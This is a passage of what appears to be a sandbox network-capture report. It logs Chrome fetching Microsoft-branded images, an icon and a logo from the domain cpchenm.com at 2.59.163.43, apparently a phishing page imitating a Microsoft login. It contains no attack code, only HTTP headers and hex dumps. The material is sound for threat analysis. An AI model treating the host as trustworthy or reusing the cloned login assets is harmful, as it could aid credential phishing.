2024-11-12 16:30:05 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 35 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 66 67 38 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163005Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000sfg8X-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:05 UTC	2030	IN	Data Raw: 34 33 31 36 0d 0a 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 Data Ascii: 4316h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333
2024-11-12 16:30:05 UTC	559	IN	Data Raw: 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 Data Ascii: """" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""
2024-11-12 16:30:05 UTC	4716	IN	Data Raw: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 Data Ascii: """"""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333""""""""
2024-11-12 16:30:05 UTC	5895	IN	Data Raw: 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 Data Ascii: DDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDD
2024-11-12 16:30:05 UTC	3980	IN	Data Raw: 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 Data Ascii: <<<<<<<<<<<<<<<<<<<<<<
2024-11-12 16:30:05 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.22	49252	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:05 UTC	487	OUT	GET /shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:05 UTC	1074	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/jpeg Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:05 GMT Etag: 0x8DB5C3F4584F323 Last-Modified: Wed, 24 May 2023 10:11:42 GMT
2024-11-12 16:30:05 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 35 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 75 37 78 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163005Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002u7xX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:05 UTC	2032	IN	Data Raw: 34 34 32 64 0d 0a ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 Data Ascii: 442dPhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-r
2024-11-12 16:30:05 UTC	559	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-11-12 16:30:05 UTC	4716	IN	Data Raw: c0 00 00 00 01 ff c0 00 11 08 04 38 07 80 03 00 22 00 01 11 01 02 11 01 ff c4 00 55 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 01 07 02 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 10 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 11 01 41 21 11 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 ff da 00 0c 03 00 00 01 11 02 11 00 3f 00 db 40 61 d8 00 00 00 10 40 00 00 40 54 00 00 00 10 15 05 04 50 14 00 00 00 00 00 00 00 01 0a 0a 25 40 52 a0 0b 44 01 69 50 11 44 01 44 01 50 01 44 01 44 50 00 00 00 00 54 00 00 00 00 41 44 01 41 14 51 01 14 45 01 50 05 12 ad 00 28 20 00 00 02 80 00 02 00 00 00 00 00 00 00 28 00 00 00 14 00 00 01 14 40 45 05 10 05 12 aa 00 50 40 28 00 00 00 00 0a 00 02 0a 82 00 00 a8 00 00 28 80 2a 00 05 Data Ascii: 8"UA!?@a@@TP%@RDiPDDPDDPTADAQEP( (@EP@((*
2024-11-12 16:30:05 UTC	5895	IN	Data Raw: 15 00 00 50 04 00 00 00 40 10 15 00 00 04 00 00 00 11 40 45 10 1d 08 a2 80 00 8a 02 28 00 8a 02 2e 08 0e 84 50 00 00 00 51 14 10 54 14 5c 40 14 00 00 05 11 40 00 02 82 8a 22 88 00 00 02 80 00 a8 a0 00 0f ff d4 da 80 61 d4 00 00 01 c8 00 00 00 00 00 00 02 80 00 8a 80 22 a2 00 00 00 00 00 00 00 00 00 00 00 08 02 88 02 88 02 a0 28 00 00 00 00 20 a0 00 00 00 00 00 00 a0 a0 20 02 00 0a 80 00 00 02 e2 00 a2 00 a0 08 00 00 00 00 a0 00 0a 8a 00 00 00 00 00 00 02 80 80 00 00 20 00 00 00 00 00 00 00 0a 8a 00 02 00 00 00 00 00 00 00 00 00 00 00 02 00 00 02 00 a2 00 00 00 08 00 00 00 00 00 08 00 02 00 a0 02 20 00 00 0a 00 00 00 08 08 00 08 02 00 00 22 80 80 00 02 00 02 00 02 00 00 08 00 00 00 00 28 00 20 02 00 02 a8 82 8a 00 00 00 02 00 00 8a 0a 28 00 00 02 a2 80 00 Data Ascii: P@@E(.PQT\@@"a"( "( (
2024-11-12 16:30:05 UTC	4257	IN	Data Raw: 0a 00 80 00 00 00 02 00 00 00 00 2a 2a 0a 00 00 20 a8 00 08 00 00 00 00 00 00 00 20 02 8a 82 80 80 00 00 00 00 00 00 00 00 00 00 00 80 28 a0 00 00 00 02 08 a2 88 28 00 00 00 00 00 02 82 00 00 00 00 a0 00 80 00 00 a0 00 00 00 00 3f ff d0 db 11 51 b6 40 04 11 40 40 14 00 04 00 00 00 00 00 00 4d 50 47 2a 20 28 00 82 a0 00 00 00 20 a8 00 00 00 a8 44 50 1c 8b 11 40 00 00 00 00 00 00 00 00 00 00 01 40 00 00 10 00 00 00 14 00 05 14 00 00 10 00 05 00 00 00 00 05 04 05 45 00 01 40 00 00 00 10 01 40 00 50 01 05 45 40 00 00 00 00 51 40 00 10 11 50 00 00 00 14 01 40 10 00 00 04 14 45 00 00 00 00 04 00 05 00 40 00 00 00 00 00 10 00 00 01 40 10 00 00 00 00 40 00 00 00 05 14 01 00 00 00 01 01 00 00 00 00 14 54 14 04 50 00 00 01 10 05 01 05 01 05 01 05 01 05 01 05 40 00 Data Ascii: ** ((?Q@@@MPG* ( DP@@E@@PE@Q@P@E@@@TP@
2024-11-12 16:30:05 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.22	49251	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:05 UTC	484	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:05 UTC	1094	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/svg+xml Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:05 GMT Etag: 0x8DB5C3F4911527F Last-Modified: Wed, 24 May 2023 10:11:48 GMT
2024-11-12 16:30:05 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 35 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 66 67 33 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163005Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000sfg3X-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:05 UTC	2012	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-11-12 16:30:05 UTC	559	IN	Data Raw: 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 32 39 2c 33 2e 36 2c 33 2e 36 2c 30 2c 30 2c 30 Data Ascii: 39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.529,3.6,3.6,0,0,0
2024-11-12 16:30:05 UTC	1092	IN	Data Raw: 6d 32 2e 34 32 35 2d 2e 30 37 37 61 33 2e 35 33 37 2c 33 2e 35 33 37 2c 30 2c 30 2c 30 2c 2e 37 2c 32 2e 33 36 38 2c 32 2e 35 30 36 2c 32 2e 35 30 36 2c 30 2c 30 2c 30 2c 32 2e 30 31 31 2e 38 31 38 2c 32 2e 33 34 35 2c 32 2e 33 34 35 2c 30 2c 30 2c 30 2c 31 2e 39 33 34 2d 2e 38 31 38 2c 33 2e 37 38 33 2c 33 2e 37 38 33 2c 30 2c 30 2c 30 2c 2e 36 36 34 2d 32 2e 34 32 35 2c 33 2e 36 35 31 2c 33 2e 36 35 31 2c 30 2c 30 2c 30 2d 2e 36 38 38 2d 32 2e 34 31 31 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 30 2d 31 2e 39 33 2d 2e 38 31 33 2c 32 2e 34 33 39 2c 32 2e 34 33 39 2c 30 2c 30 2c 30 2d 31 2e 39 38 37 2e 38 35 32 2c 33 2e 37 30 37 2c 33 2e 37 30 37 2c 30 2c 30 2c 30 2d 2e 37 30 37 2c 32 2e 34 33 6d 31 35 2e 34 36 34 2d 33 2e 31 30 39 48 39 39 2e 37 56 31 Data Ascii: m2.425-.077a3.537,3.537,0,0,0,.7,2.368,2.506,2.506,0,0,0,2.011.818,2.345,2.345,0,0,0,1.934-.818,3.783,3.783,0,0,0,.664-2.425,3.651,3.651,0,0,0-.688-2.411,2.39,2.39,0,0,0-1.93-.813,2.439,2.439,0,0,0-1.987.852,3.707,3.707,0,0,0-.707,2.43m15.464-3.109H99.7V1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.22	49253	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:05 UTC	481	OUT	GET /shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:05 UTC	1073	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:05 GMT Etag: 0x8DB5C3F475BAFC0 Last-Modified: Wed, 24 May 2023 10:11:45 GMT
2024-11-12 16:30:05 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 35 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 75 39 73 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: 